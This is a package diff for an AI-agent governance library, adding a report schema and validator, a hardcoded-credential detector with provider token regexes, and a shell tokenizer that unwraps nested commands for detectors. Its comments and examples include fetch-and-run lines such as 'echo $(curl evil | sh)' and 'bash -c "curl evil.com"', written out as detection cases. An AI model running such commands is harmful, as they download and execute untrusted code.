agent-gov-core 0.4.3 → 0.7.0

package/dist/report.d.ts

@@ -0,0 +1,85 @@
+import { type Finding, type Severity, type ToolKind } from './finding.js';
+/** Canonical envelope version. */
+export declare const REPORT_SCHEMA_VERSION: "1.0";
+/**
+ * Canonical multi-tool report envelope. Wraps `Finding[]` with provenance,
+ * rating, and optional tool-specific extension data so a cross-tool
+ * meta-reviewer can ingest reports from N tools through one shape.
+ */
+export interface Report {
+    schemaVersion: typeof REPORT_SCHEMA_VERSION;
+    tool: ToolKind;
+    toolVersion?: string;
+    runId?: string;
+    /**
+     * Identifier for the agent session, PR review, or thread this run belongs to.
+     * Distinct from `runId` (which identifies *this* tool run): one conversation
+     * can produce many runs. Matches OpenTelemetry's `gen_ai.conversation.id`
+     * semantic convention — if a consumer also emits OTel traces about the same
+     * agent session, pass the same string here and downstream tooling can cross-
+     * reference governance findings with the traces.
+     *
+     * @see https://opentelemetry.io/docs/specs/semconv/gen-ai/
+     */
+    conversationId?: string;
+    baseRef?: string;
+    headRef?: string;
+    /** Aggregate severity. `'none'` iff findings is empty or all below threshold. */
+    rating: 'none' | Severity;
+    findings: Finding[];
+    /** Tool-specific extension data (PolicyMesh `effectiveUnion`, CapabilityEcho `surfaceSummary`, etc). */
+    data?: Record<string, unknown>;
+}
+export interface CreateReportSpec {
+    tool: ToolKind;
+    toolVersion?: string;
+    runId?: string;
+    /** See {@link Report.conversationId}. */
+    conversationId?: string;
+    baseRef?: string;
+    headRef?: string;
+    findings: Finding[];
+    data?: Record<string, unknown>;
+    /**
+     * Explicit rating override. When omitted, `rating` is computed as the
+     * maximum severity across `findings` (or `'none'` if empty).
+     */
+    rating?: 'none' | Severity;
+}
+/**
+ * Build a {@link Report} with `schemaVersion` set and `rating` derived from
+ * the maximum finding severity (unless overridden). This is the recommended
+ * way to produce a report — sets the envelope version correctly and computes
+ * the rating consistently with other tools.
+ *
+ * @example
+ * const report = createReport({
+ *   tool: 'scope_trail',
+ *   toolVersion: '0.1.18',
+ *   baseRef: 'abc123',
+ *   headRef: 'def456',
+ *   findings: [finding1, finding2],
+ *   data: { mcpServers: [...] },
+ * });
+ */
+export declare function createReport(spec: CreateReportSpec): Report;
+/**
+ * Maximum severity across a finding list. Returns `'none'` for empty input.
+ * Used by {@link createReport} when no explicit rating is supplied.
+ */
+export declare function maxSeverity(findings: readonly Finding[]): 'none' | Severity;
+export interface ReportValidationResult {
+    ok: boolean;
+    errors: string[];
+}
+/**
+ * Runtime check that a value conforms to the canonical Report envelope.
+ * Aggregates errors across all findings — a single malformed finding does
+ * not short-circuit the rest of the envelope check.
+ *
+ * @example
+ * const result = validateReport(JSON.parse(reportJson));
+ * if (!result.ok) console.error(result.errors.join('\n'));
+ */
+export declare function validateReport(value: unknown): ReportValidationResult;
+//# sourceMappingURL=report.d.ts.map

package/dist/report.js

@@ -0,0 +1,156 @@
+import { SEVERITIES, TOOL_KINDS, isSeverity, isToolKind, validateFinding, } from './finding.js';
+/** Canonical envelope version. */
+export const REPORT_SCHEMA_VERSION = '1.0';
+/**
+ * Build a {@link Report} with `schemaVersion` set and `rating` derived from
+ * the maximum finding severity (unless overridden). This is the recommended
+ * way to produce a report — sets the envelope version correctly and computes
+ * the rating consistently with other tools.
+ *
+ * @example
+ * const report = createReport({
+ *   tool: 'scope_trail',
+ *   toolVersion: '0.1.18',
+ *   baseRef: 'abc123',
+ *   headRef: 'def456',
+ *   findings: [finding1, finding2],
+ *   data: { mcpServers: [...] },
+ * });
+ */
+export function createReport(spec) {
+    const report = {
+        schemaVersion: REPORT_SCHEMA_VERSION,
+        tool: spec.tool,
+        rating: spec.rating ?? maxSeverity(spec.findings),
+        findings: spec.findings,
+    };
+    if (spec.toolVersion !== undefined)
+        report.toolVersion = spec.toolVersion;
+    if (spec.runId !== undefined)
+        report.runId = spec.runId;
+    if (spec.conversationId !== undefined)
+        report.conversationId = spec.conversationId;
+    if (spec.baseRef !== undefined)
+        report.baseRef = spec.baseRef;
+    if (spec.headRef !== undefined)
+        report.headRef = spec.headRef;
+    if (spec.data !== undefined)
+        report.data = spec.data;
+    return report;
+}
+/**
+ * Maximum severity across a finding list. Returns `'none'` for empty input.
+ * Used by {@link createReport} when no explicit rating is supplied.
+ */
+export function maxSeverity(findings) {
+    let best = 'none';
+    for (const f of findings) {
+        if (severityRank(f.severity) > severityRank(best))
+            best = f.severity;
+    }
+    return best;
+}
+function severityRank(s) {
+    if (s === 'none')
+        return 0;
+    if (s === 'low')
+        return 1;
+    if (s === 'medium')
+        return 2;
+    if (s === 'high')
+        return 3;
+    return 4;
+}
+const REPORT_ALLOWED_KEYS = new Set([
+    'schemaVersion',
+    'tool',
+    'toolVersion',
+    'runId',
+    'conversationId',
+    'baseRef',
+    'headRef',
+    'rating',
+    'findings',
+    'data',
+]);
+const RATING_VALUES = new Set(['none', ...SEVERITIES]);
+/**
+ * Runtime check that a value conforms to the canonical Report envelope.
+ * Aggregates errors across all findings — a single malformed finding does
+ * not short-circuit the rest of the envelope check.
+ *
+ * @example
+ * const result = validateReport(JSON.parse(reportJson));
+ * if (!result.ok) console.error(result.errors.join('\n'));
+ */
+export function validateReport(value) {
+    const errors = [];
+    if (value === null || typeof value !== 'object' || Array.isArray(value)) {
+        return { ok: false, errors: ['report must be a plain object'] };
+    }
+    const v = value;
+    if (v.schemaVersion !== REPORT_SCHEMA_VERSION) {
+        errors.push(`schemaVersion must be '${REPORT_SCHEMA_VERSION}'`);
+    }
+    if (!isToolKind(v.tool)) {
+        errors.push(`tool must be one of: ${TOOL_KINDS.join(', ')}`);
+    }
+    if (typeof v.rating !== 'string' || !RATING_VALUES.has(v.rating)) {
+        errors.push(`rating must be one of: none, ${SEVERITIES.join(', ')}`);
+    }
+    if (!Array.isArray(v.findings)) {
+        errors.push('findings must be an array');
+    }
+    else {
+        for (let i = 0; i < v.findings.length; i++) {
+            const f = validateFinding(v.findings[i]);
+            if (!f.ok) {
+                errors.push(`findings[${i}]: ${f.errors.join('; ')}`);
+            }
+            else if (isToolKind(v.tool) && v.findings[i].tool !== v.tool) {
+                errors.push(`findings[${i}].tool ('${v.findings[i].tool}') does not match report.tool ('${v.tool}')`);
+            }
+        }
+    }
+    if (v.toolVersion !== undefined && typeof v.toolVersion !== 'string') {
+        errors.push('toolVersion must be a string when present');
+    }
+    if (v.runId !== undefined && typeof v.runId !== 'string') {
+        errors.push('runId must be a string when present');
+    }
+    if (v.conversationId !== undefined && typeof v.conversationId !== 'string') {
+        errors.push('conversationId must be a string when present');
+    }
+    if (v.baseRef !== undefined && typeof v.baseRef !== 'string') {
+        errors.push('baseRef must be a string when present');
+    }
+    if (v.headRef !== undefined && typeof v.headRef !== 'string') {
+        errors.push('headRef must be a string when present');
+    }
+    if (v.data !== undefined && (v.data === null || typeof v.data !== 'object' || Array.isArray(v.data))) {
+        errors.push('data must be an object when present');
+    }
+    for (const key of Object.keys(v)) {
+        if (!REPORT_ALLOWED_KEYS.has(key))
+            errors.push(`unknown property: ${key}`);
+    }
+    // Cross-field consistency: rating should be at or above the max finding severity.
+    // We don't *enforce* this strictly (a tool may downgrade by policy) but flag a
+    // genuine inconsistency where the rating is BELOW what the findings imply.
+    if (Array.isArray(v.findings) &&
+        typeof v.rating === 'string' &&
+        RATING_VALUES.has(v.rating)) {
+        const findingsOk = v.findings.every((f) => validateFinding(f).ok);
+        if (findingsOk) {
+            const implied = maxSeverity(v.findings);
+            if (severityRank(v.rating) < severityRank(implied)) {
+                errors.push(`rating '${v.rating}' is below the maximum finding severity '${implied}'`);
+            }
+        }
+    }
+    // Ensure isSeverity-style check on rating when not 'none' for callers that
+    // need a tighter type than the wider RATING_VALUES set.
+    void isSeverity;
+    return { ok: errors.length === 0, errors };
+}
+//# sourceMappingURL=report.js.map

package/dist/secrets.d.ts

@@ -0,0 +1,67 @@
+/**
+ * Hardcoded credential detection.
+ *
+ * Scans strings for provider-prefix tokens (Anthropic, OpenAI, GitHub, AWS,
+ * Slack, Google, GitLab, npm, Docker, Stripe) plus a length-restricted hex
+ * pattern that only fires in env/header context (a bare hex blob in a
+ * positional command argument is indistinguishable from a commit SHA).
+ *
+ * Contract: the literal credential is NEVER returned in any field. Callers
+ * receive only the provider name plus the pattern that matched (provider
+ * label only — not the regex). This is the same contract PolicyMesh shipped
+ * the detector under, lifted into the substrate so every governance tool
+ * uses one source of truth for "what does a hardcoded credential look like."
+ *
+ * @example
+ * import { matchSecret } from 'agent-gov-core';
+ *
+ * matchSecret('sk-ant-abcdefghijklmnopqrstuv');
+ * // → { provider: 'Anthropic' }
+ *
+ * matchSecret('env:OPENAI_API_KEY');
+ * // → undefined (env var reference, not a literal)
+ *
+ * matchSecret('a'.repeat(40), { envOrHeaderContext: true });
+ * // → undefined (only A-F0-9 are hex; not a hex token)
+ */
+export interface SecretMatch {
+    /** Human-readable provider name. The literal credential is NEVER included. */
+    provider: string;
+}
+export interface MatchSecretOptions {
+    /**
+     * When `true`, patterns flagged `envOrHeaderOnly` are eligible. Set this
+     * only when scanning env values or HTTP header values — never when scanning
+     * a joined launch command (positional args often contain commit SHAs that
+     * would false-positive against a bare hex token pattern).
+     */
+    envOrHeaderContext?: boolean;
+}
+interface SecretPattern {
+    provider: string;
+    regex: RegExp;
+    /** See {@link MatchSecretOptions.envOrHeaderContext}. */
+    envOrHeaderOnly?: boolean;
+}
+/**
+ * Built-in provider patterns. Conservative — only shapes whose prefix
+ * unambiguously identifies a credential class. The bare hex pattern is gated
+ * to env/header context to avoid commit-SHA false positives.
+ *
+ * Stable as of v0.7.0 — additions are non-breaking, removals or shape changes
+ * require a major bump (the golden compatibility tests in `test/golden.test.mjs`
+ * pin the current provider set).
+ */
+export declare const SECRET_PATTERNS: readonly Readonly<SecretPattern>[];
+/**
+ * Scan `value` for a hardcoded provider credential. Returns the matched
+ * provider name (never the literal credential) or `undefined` when nothing
+ * matches.
+ *
+ * Set `options.envOrHeaderContext` to `true` only when scanning env values
+ * or HTTP header values — that enables the more permissive hex-token pattern
+ * which would false-positive on positional command arguments.
+ */
+export declare function matchSecret(value: string, options?: MatchSecretOptions): SecretMatch | undefined;
+export {};
+//# sourceMappingURL=secrets.d.ts.map

package/dist/secrets.js

@@ -0,0 +1,81 @@
+/**
+ * Hardcoded credential detection.
+ *
+ * Scans strings for provider-prefix tokens (Anthropic, OpenAI, GitHub, AWS,
+ * Slack, Google, GitLab, npm, Docker, Stripe) plus a length-restricted hex
+ * pattern that only fires in env/header context (a bare hex blob in a
+ * positional command argument is indistinguishable from a commit SHA).
+ *
+ * Contract: the literal credential is NEVER returned in any field. Callers
+ * receive only the provider name plus the pattern that matched (provider
+ * label only — not the regex). This is the same contract PolicyMesh shipped
+ * the detector under, lifted into the substrate so every governance tool
+ * uses one source of truth for "what does a hardcoded credential look like."
+ *
+ * @example
+ * import { matchSecret } from 'agent-gov-core';
+ *
+ * matchSecret('sk-ant-abcdefghijklmnopqrstuv');
+ * // → { provider: 'Anthropic' }
+ *
+ * matchSecret('env:OPENAI_API_KEY');
+ * // → undefined (env var reference, not a literal)
+ *
+ * matchSecret('a'.repeat(40), { envOrHeaderContext: true });
+ * // → undefined (only A-F0-9 are hex; not a hex token)
+ */
+/**
+ * Built-in provider patterns. Conservative — only shapes whose prefix
+ * unambiguously identifies a credential class. The bare hex pattern is gated
+ * to env/header context to avoid commit-SHA false positives.
+ *
+ * Stable as of v0.7.0 — additions are non-breaking, removals or shape changes
+ * require a major bump (the golden compatibility tests in `test/golden.test.mjs`
+ * pin the current provider set).
+ */
+export const SECRET_PATTERNS = [
+    { provider: 'Anthropic', regex: /sk-ant-[A-Za-z0-9_-]{20,}/ },
+    { provider: 'OpenAI', regex: /sk-proj-[A-Za-z0-9_-]{20,}/ },
+    { provider: 'OpenAI', regex: /sk-(?!ant-|proj-)[A-Za-z0-9]{32,}/ },
+    { provider: 'GitHub', regex: /gh[pousr]_[A-Za-z0-9]{36,}/ },
+    { provider: 'GitHub', regex: /github_pat_[A-Za-z0-9_]{20,}/ },
+    { provider: 'Slack', regex: /xox[abprs]-[A-Za-z0-9-]{20,}/ },
+    { provider: 'AWS', regex: /AKIA[0-9A-Z]{16}/ },
+    { provider: 'Google', regex: /AIza[0-9A-Za-z_-]{35}/ },
+    { provider: 'GitLab', regex: /glpat-[A-Za-z0-9_-]{20,}/ },
+    { provider: 'npm', regex: /npm_[A-Za-z0-9]{36}/ },
+    { provider: 'Docker', regex: /dckr_pat_[A-Za-z0-9_-]{20,}/ },
+    { provider: 'Stripe', regex: /(?:sk|rk)_(?:live|test)_[A-Za-z0-9]{20,}/ },
+    // env/header context only — see comment block at top of file.
+    { provider: 'Hex token', regex: /(?:^|[^A-Fa-f0-9])([A-Fa-f0-9]{40,})(?:$|[^A-Fa-f0-9])/, envOrHeaderOnly: true },
+];
+/**
+ * Prefix marking an environment-variable reference. Values starting with
+ * `env:` are not literal credentials — they're a reference resolved at
+ * runtime by the consuming tool (Codex notation). Skipped during scanning.
+ */
+const ENV_REFERENCE_PREFIX = 'env:';
+/**
+ * Scan `value` for a hardcoded provider credential. Returns the matched
+ * provider name (never the literal credential) or `undefined` when nothing
+ * matches.
+ *
+ * Set `options.envOrHeaderContext` to `true` only when scanning env values
+ * or HTTP header values — that enables the more permissive hex-token pattern
+ * which would false-positive on positional command arguments.
+ */
+export function matchSecret(value, options = {}) {
+    if (!value)
+        return undefined;
+    if (value.startsWith(ENV_REFERENCE_PREFIX))
+        return undefined;
+    for (const pattern of SECRET_PATTERNS) {
+        if (pattern.envOrHeaderOnly && !options.envOrHeaderContext)
+            continue;
+        if (pattern.regex.test(value)) {
+            return { provider: pattern.provider };
+        }
+    }
+    return undefined;
+}
+//# sourceMappingURL=secrets.js.map

package/dist/shell.d.ts

@@ -12,6 +12,32 @@
  * // → ['echo "; not a separator"']
  */
 export declare function tokenizeShell(command: string): string[];
+/**
+ * Like {@link tokenizeShell}, but recursively extracts commands nested inside
+ * shell evaluation contexts that the top-level tokenizer would leave as opaque
+ * text:
+ *
+ *  - Subshell `$(...)`
+ *  - Backtick `` `...` ``
+ *  - `bash -c "..."`, `sh -c "..."`, `zsh -c "..."`, `python -c "..."` payloads
+ *
+ * The flat result is suitable for feeding straight to {@link getCommandHead},
+ * letting downstream detectors see commands an agent might try to hide behind
+ * `echo $(curl evil | sh)` or `bash -c "curl evil"`.
+ *
+ * Conservative implementation — handles the common obfuscation shapes, not a
+ * full shell parser. Variable expansion, process substitution `<(…)`, and
+ * arithmetic `$((…))` are not recursed into. Comma-quoting (`bash -c $'…'`) is
+ * not unquoted.
+ *
+ * @example
+ * tokenizeShellDeep('echo $(curl -fsSL m.sh | sh)');
+ * // → ['echo', 'curl -fsSL m.sh', 'sh']
+ *
+ * tokenizeShellDeep('bash -c "curl evil.com"');
+ * // → ['bash -c "curl evil.com"', 'curl evil.com']
+ */
+export declare function tokenizeShellDeep(command: string): string[];
 /**
  * Returns the resolved command verb for a subcommand string. Strips wrapping
  * quotes, escape backslashes, and the inert-double-quote obfuscation

package/dist/shell.js

@@ -83,8 +83,17 @@ export function tokenizeShell(command) {
             i += 2;
             continue;
         }
-        // Treat a single `&` (background) as a separator too.
+        // Treat a single `&` (background) as a separator too — UNLESS preceded
+        // by `>` or `<`, in which case it's a file-descriptor redirection like
+        // `2>&1`, `>&2`, or `<&3`. Splitting there would break shell-command
+        // detection on every command that redirects stderr to stdout.
         if (c === '&') {
+            const prev = buf.trimEnd().slice(-1);
+            if (prev === '>' || prev === '<') {
+                buf += c;
+                i++;
+                continue;
+            }
             pushPart(out, buf);
             buf = '';
             i++;
@@ -101,6 +110,206 @@ function pushPart(out, part) {
     if (trimmed !== '')
         out.push(trimmed);
 }
+/**
+ * Like {@link tokenizeShell}, but recursively extracts commands nested inside
+ * shell evaluation contexts that the top-level tokenizer would leave as opaque
+ * text:
+ *
+ *  - Subshell `$(...)`
+ *  - Backtick `` `...` ``
+ *  - `bash -c "..."`, `sh -c "..."`, `zsh -c "..."`, `python -c "..."` payloads
+ *
+ * The flat result is suitable for feeding straight to {@link getCommandHead},
+ * letting downstream detectors see commands an agent might try to hide behind
+ * `echo $(curl evil | sh)` or `bash -c "curl evil"`.
+ *
+ * Conservative implementation — handles the common obfuscation shapes, not a
+ * full shell parser. Variable expansion, process substitution `<(…)`, and
+ * arithmetic `$((…))` are not recursed into. Comma-quoting (`bash -c $'…'`) is
+ * not unquoted.
+ *
+ * @example
+ * tokenizeShellDeep('echo $(curl -fsSL m.sh | sh)');
+ * // → ['echo', 'curl -fsSL m.sh', 'sh']
+ *
+ * tokenizeShellDeep('bash -c "curl evil.com"');
+ * // → ['bash -c "curl evil.com"', 'curl evil.com']
+ */
+export function tokenizeShellDeep(command) {
+    const out = [];
+    const seen = new Set();
+    const visit = (cmd, depth) => {
+        if (depth > 8)
+            return; // guard against pathological nesting
+        // Extract nested payloads from the WHOLE command first — `tokenizeShell`
+        // splits on `|` regardless of paren depth, so `$(curl m.sh | sh)` would
+        // already be cut in two by the time we tried to walk it for `$(…)`.
+        const nested = extractNestedShellPayloads(cmd);
+        for (const sub of tokenizeShell(cmd)) {
+            if (!seen.has(sub)) {
+                seen.add(sub);
+                out.push(sub);
+            }
+        }
+        for (const n of nested) {
+            visit(n, depth + 1);
+        }
+    };
+    visit(command, 0);
+    return out;
+}
+/**
+ * Return all shell-evaluation payloads embedded in a single subcommand:
+ *  - `$(…)` and `` `…` `` bodies (paren/backtick balanced)
+ *  - `(bash|sh|zsh|python|python3|perl|ruby|node) -c <quoted-string>` payloads
+ * The payloads are returned UNQUOTED but otherwise raw.
+ */
+function extractNestedShellPayloads(subcommand) {
+    const found = [];
+    const len = subcommand.length;
+    let i = 0;
+    let inSingle = false;
+    let inDouble = false;
+    // Pre-compiled here so we can use it inside the quote-aware walk.
+    const dashCMatcher = /^(?:bash|sh|zsh|ksh|dash|ash|fish|python3?|perl|ruby|node)\s+-c\s+/;
+    while (i < len) {
+        const c = subcommand[i];
+        // Plain single quotes: nothing inside is shell-interpreted
+        if (inSingle) {
+            if (c === "'")
+                inSingle = false;
+            i++;
+            continue;
+        }
+        if (c === "'") {
+            inSingle = true;
+            i++;
+            continue;
+        }
+        // Inside double quotes, `$(…)` and backticks STILL evaluate, so we
+        // keep scanning. Just remember to re-enable detection of an outer
+        // closing `"`.
+        if (c === '"') {
+            inDouble = !inDouble;
+            i++;
+            continue;
+        }
+        // $(...)
+        if (c === '$' && subcommand[i + 1] === '(') {
+            const body = readBalanced(subcommand, i + 2, '(', ')');
+            if (body !== null) {
+                found.push(body.content);
+                i = body.endIndex;
+                continue;
+            }
+        }
+        // Backticks
+        if (c === '`') {
+            const close = subcommand.indexOf('`', i + 1);
+            if (close !== -1) {
+                found.push(subcommand.slice(i + 1, close));
+                i = close + 1;
+                continue;
+            }
+        }
+        // `bash -c "..."` and friends — checked only OUTSIDE quoted regions so
+        // `echo "bash -c \"curl evil\""` (data, not a command) doesn't trigger.
+        // Match boundary: only at start-of-string OR after whitespace / a chain
+        // separator.
+        if (!inDouble) {
+            const atBoundary = i === 0 || /[\s;|&]/.test(subcommand[i - 1]);
+            if (atBoundary) {
+                const tail = subcommand.slice(i);
+                const dashCMatch = dashCMatcher.exec(tail);
+                if (dashCMatch) {
+                    const afterFlag = i + dashCMatch[0].length;
+                    const payload = readQuotedArg(subcommand, afterFlag);
+                    if (payload !== null)
+                        found.push(payload);
+                    // Skip past the matched `bash -c ` prefix so the walk continues
+                    // from the argument position; we don't try to compute where the
+                    // quoted arg ends (the next iteration will hit the quote and toggle
+                    // inDouble naturally).
+                    i = afterFlag;
+                    continue;
+                }
+            }
+        }
+        i++;
+    }
+    return found;
+}
+/** Read a balanced `open`/`close` body starting at `start` (already past the open). */
+function readBalanced(input, start, open, close) {
+    let depth = 1;
+    let i = start;
+    let inSingle = false;
+    let inDouble = false;
+    while (i < input.length) {
+        const c = input[i];
+        if (inSingle) {
+            if (c === "'")
+                inSingle = false;
+            i++;
+            continue;
+        }
+        if (c === "'") {
+            inSingle = true;
+            i++;
+            continue;
+        }
+        if (c === '"') {
+            inDouble = !inDouble;
+            i++;
+            continue;
+        }
+        if (!inDouble) {
+            if (c === open)
+                depth++;
+            else if (c === close) {
+                depth--;
+                if (depth === 0)
+                    return { content: input.slice(start, i), endIndex: i + 1 };
+            }
+        }
+        i++;
+    }
+    return null;
+}
+/**
+ * Read the next quoted (single, double) or bare token starting at `start`,
+ * returning its unquoted contents.
+ */
+function readQuotedArg(input, start) {
+    let i = start;
+    while (i < input.length && (input[i] === ' ' || input[i] === '\t'))
+        i++;
+    if (i >= input.length)
+        return null;
+    const q = input[i];
+    if (q === '"' || q === "'") {
+        let j = i + 1;
+        let buf = '';
+        while (j < input.length) {
+            const c = input[j];
+            if (c === '\\' && q === '"' && j + 1 < input.length) {
+                buf += input[j + 1];
+                j += 2;
+                continue;
+            }
+            if (c === q)
+                return buf;
+            buf += c;
+            j++;
+        }
+        return null;
+    }
+    // Bare token — read up to whitespace
+    let j = i;
+    while (j < input.length && input[j] !== ' ' && input[j] !== '\t')
+        j++;
+    return input.slice(i, j);
+}
 /**
  * Returns the resolved command verb for a subcommand string. Strips wrapping
  * quotes, escape backslashes, and the inert-double-quote obfuscation